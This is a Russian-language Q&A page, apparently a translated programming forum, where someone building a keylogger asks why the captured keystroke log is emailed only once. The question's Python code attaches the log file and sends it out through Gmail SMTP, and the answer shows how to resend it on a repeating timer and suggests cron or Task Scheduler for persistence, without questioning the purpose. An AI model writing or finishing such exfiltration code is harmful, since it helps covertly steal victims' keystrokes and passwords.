кейлоггер проект, проблема с интервалом электронной почты - PullRequest
0 голосов
/ 29 апреля 2020

Я делаю кейлоггер, который отправляет электронное письмо с прикрепленным журналом каждые x часов. Я пытался использовать команду threading.Timer (); Тем не менее, это отправка электронной почты ОДИН РАЗ. Ниже приведен мой код: ОБНОВЛЕНИЕ: В качестве альтернативы я также пытался отправлять электронное письмо один раз в день в указанное c время, но я не знаю точных команд, необходимых для этого.

keys_information = "key_log.txt"

email_address = email sender
password = password

username = getpass.getuser()

toaddr = receiver email


file_path = "text file location"
extend = "\\"
file_merge = file_path + extend

# email controls
def send_email(filename, attachment, toaddr):

    fromaddr = email_address
    msg = MIMEMultipart()
    msg['From'] = fromaddr
    msg['To'] = toaddr
    msg['Subject'] = "Log File"
    body = "Body_of_the_mail"
    msg.attach(MIMEText(body, 'plain'))

    filename = filename
    attachment = open(attachment, 'rb')
    p = MIMEBase('application', 'octet-stream')
    p.set_payload((attachment).read())
    encoders.encode_base64(p)
    p.add_header('Content-Disposition', "attachment; filename= %s" % filename)
    msg.attach(p)
    s = smtplib.SMTP('smtp.gmail.com', 587)                                     #to access the server
    s.starttls()
    s.login(fromaddr, password)
    text = msg.as_string()
    s.sendmail(fromaddr, toaddr, text)
    s.quit()

t = threading.Timer(10, send_email, [keys_information, file_path + extend + keys_information, toaddr])
t.start()

1 Ответ

0 голосов
/ 29 апреля 2020

Я бы действительно рекомендовал использовать системное средство, предназначенное для таких запланированных заданий, для его регулярного запуска, например cron в Linux или планировщик задач в Windows. Они будут гарантировать, что работа будет выполнена вовремя. Выполнение этого внутри такой программы может не получиться, если программа по какой-либо причине прекращает работу (например, перезапуск системы), тогда как задание cron всегда будет запускать его.

Однако, чтобы ответить на ваш вопрос. Вы можете повторить это, создав новый таймер в конце функции send_email, или лучше создать другой метод, который вместо этого вызывает таймер, который вызывает send_email, а затем создает новый таймер.

# email controls
def send_email(filename, attachment, toaddr):
    ...

def trigger(*args):
    send_email(*args)
    t = threading.Timer(10, trigger, args)
    t.start()

t = threading.Timer(10, trigger, [keys_information, file_path + extend + keys_information, toaddr])
t.start()

Это не будет порождает постоянно растущее число потоков, так как поток, выполняющий t.start (), завершается после возврата из start (), то есть до запуска потока таймера.

Примечание: время, которое вы установили для таймера go off at - это не «х часов», которые вы упомянули, а всего 10 секунд. Я предполагаю, что это было для тестирования.

Опять же, это, вероятно, не правильный выбор, как это сделать.

...